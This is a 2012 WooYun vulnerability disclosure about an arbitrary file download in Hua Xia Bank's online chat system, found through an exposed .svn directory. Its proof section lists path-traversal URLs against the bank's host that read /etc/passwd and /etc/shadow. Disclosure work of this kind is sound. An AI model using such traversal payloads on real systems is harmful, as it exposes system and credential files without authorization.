漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-011021
漏洞标题：华夏银行某应用模块任意文件下载,源码泄露
相关厂商：华夏银行
漏洞作者： 无敌最寂寞
提交时间：2012-08-18 13:44
修复时间：2012-08-23 13:44
公开时间：2012-08-23 13:44
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-08-18： 细节已通知厂商并且等待厂商处理中
2012-08-23： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
此漏洞会导致任意文件被下载，危害自己评估
详细说明：
出问题的是在线客服系统
其实文件下载是建立在源码泄露的基础上发现的,依旧是svn的问题
http://looyu.hxb.com.cn/looyu/chat/.svn/text-base/down.jsp.svn-base
String filename1 = request.getParameter("file");
没经过任何过滤，下面直接read 了
漏洞证明：
一般都是linux类的服务器，尝试读取密码文档
http://looyu.hxb.com.cn/looyu/chat/down.jsp?file=../../etc/passwd
http://looyu.hxb.com.cn/looyu/chat/down.jsp?file=../../etc/shadow
初步尝试，未进行任何进一步操作。
修复方案：
升级svn,对所有涉及文件操作的地方进行过滤，限制！
版权声明：转载请注明来源 无敌最寂寞@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2012-08-23 13:44
厂商回复：
最新状态：
暂无
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)